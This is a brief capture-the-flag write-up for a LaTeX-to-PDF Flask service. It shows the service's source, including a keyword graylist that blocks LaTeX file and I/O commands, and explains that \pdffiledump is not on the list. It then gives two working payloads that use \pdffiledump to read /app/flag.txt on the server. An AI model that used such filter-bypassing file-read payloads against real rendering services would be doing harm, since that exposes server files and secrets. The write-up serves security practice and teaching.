LaTeX Renderer

Flag @ /app/flag.txt

Source code

import os
import re
import subprocess
from flask import Flask, request, send_file
import random
import string

app = Flask(__name__)


graylist = [
    "^^",
    "afterassignment",
    "aftergroup",
    "batchmode",
    "catcode",
    "closein",
    "closeout",
    "command",
    "document",
    "def",
    "errhelp",
    "errcontextlines",
    "errorstopmode",
    "every",
    "expand",
    "expandafter",
    "immediate",
    "include",
    "input",
    "jobname",
    "loop",
    "lowercase",
    "makeat",
    "meaning",
    "message",
    "named",
    "newhelp",
    "noexpand",
    "nonstopmode",
    "open",
    "output",
    "pagestyle",
    "package",
    "pathname",
    "read",
    "relax",
    "repeat",
    "shipout",
    "show",
    "scrollmode",
    "special",
    "syscall",
    "toks",
    "tracing",
    "typeout",
    "typein",
    "uppercase",
    "write",
]

wrapper = "\\documentclass[12pt]{article}\n\\usepackage[latin1]{inputenc}\n\\usepackage{amsmath}\n\\usepackage{amsfonts}\n\\usepackage{amssymb}\n\\usepackage[mathscr]{eucal}\n\\pagestyle{empty}"


def generate_random_string(length=5):
    """Generate a random string of a specified length."""
    letters = string.ascii_letters + string.digits
    return "".join(random.choice(letters) for _ in range(length))


@app.route("/", methods=["GET"])
def index():
    return "Welcome Hacker! go grab your easy win."


@app.route("/render", methods=["GET"])
def render_latex():
    try:
        latex = request.args.get("latex", "")

        for word in graylist:
            if word in latex:
                return {"error": f"Graylist word detected."}, 403

        latex = wrapper + "\n\\begin{document}\n" + latex + "\n\\end{document}"
        rand = generate_random_string()
        path = f"temp_{rand}"
        with open(f"{path}.tex", "w") as f:
            f.write(latex)

        subprocess.run(["latexmk", "-pdf", "-interaction=nonstopmode", f"{path}.tex"])

        return send_file(
            f"{path}.pdf", as_attachment=True, download_name="rendered_pdf.pdf"
        )

    except Exception:
        return {"error": "hmm amigo.."}, 500


if __name__ == "__main__":
    app.run(host="0.0.0.0", port=5000)

Payload

This task has filters that fobid us from reach I/O functions of LATEx

but \pdffiledump isn't graylisted

Crafting the payload

\pdffiledump offset 0 length 1000 {/app/flag.txt}

Now we got a part of the flag we need the missing piece

Part II payload , added offset

\pdffiledump offset 30 length 1000 {/app/flag.txt}

Boom

Last updated

Was this helpful?